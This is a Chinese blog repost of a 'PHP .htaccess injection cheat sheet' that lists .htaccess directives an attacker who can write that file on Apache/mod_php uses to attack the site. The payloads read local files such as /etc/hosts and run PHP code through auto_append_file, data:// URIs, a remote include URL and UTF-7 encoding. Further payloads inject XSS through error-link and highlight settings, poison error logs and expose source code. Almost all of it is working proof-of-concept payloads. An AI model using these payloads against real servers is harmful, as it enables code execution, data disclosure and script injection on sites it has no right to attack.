我是靠谱客的博主 粗暴冰棍,最近开发中收集的这篇文章主要介绍PHP htaccess注入备忘单 例子,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

情境

在Apache / mod_php的安装程序中,攻击者能够注入.htaccess(或php.ini或apache配置)。注入目录中设置了AllowOverride Options(或AllowOverride All,这也是很常见的)。

例子

示例1a:文件包含

index.php :(空)

.htaccess:

php_value auto_append_file /etc/hosts

例1b:PHP代码执行

index.php :(空)

.htaccess:

php_value auto_append_file .htaccess
#<?php phpinfo();

示例1c :(直接/远程)包含文件

index.php :(空)

.htaccess:

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt

示例1d:使用UTF-7执行XSS和PHP代码

index.php :(空)

.htaccess:

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs

示例2a:通过错误消息链接进行XSS

index.php :(产生错误消息)

<?php
include('foo');

.htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

示例2b:通过错误消息链接扩展的XSS

index.php:

<?php
include('foo');

.htaccess:

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"

示例3a:通过phps颜色进行XSS

假设:phps源处理程序已激活。

<FilesMatch ".+.phps$">
	SetHandler application/x-httpd-php-source
	Order Allow,Deny
	Allow from all
</FilesMatch>

index.phps:

<?php
test();
// comment
?>
text

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

示例3b:通过highlight_file()颜色进行XSS

index.php:

<?php
highlight_file(__FILE__);
// comment

.htaccess:

php_value highlight.comment '"><script>alert(1);</script>'

示例4a:通过error_log和include_path注入的PHP失败

在此示例中,PHP在日志消息中正确编码了HTML实体。注入失败。

index.php:

<?php include('foo');

.htaccess:

php_value error_log /var/www/ex4a/foo.php
php_value include_path "<?php phpinfo(); __halt_compiler();"

示例4b:通过error_log和auto_prepend_file注入的PHP失败

index.php :(空)

.htaccess:

php_value error_log /var/www/ipc/ex4b/foo.php
php_value auto_prepend_file "<?php phpinfo(); __halt_compiler();"

示例4c:通过error_log和UTF-7注入PHP代码

index.php :(空)

.htaccess:

php_value error_log /var/www/ipc/ex4c/foo.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

示例6:源代码公开

index.php:

<?php some_code();

.htaccess:

php_flag engine 0

最后

以上就是粗暴冰棍为你收集整理的PHP htaccess注入备忘单 例子的全部内容,希望文章能够帮你解决PHP htaccess注入备忘单 例子所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(45)

评论列表共有 0 条评论

立即
投稿
返回
顶部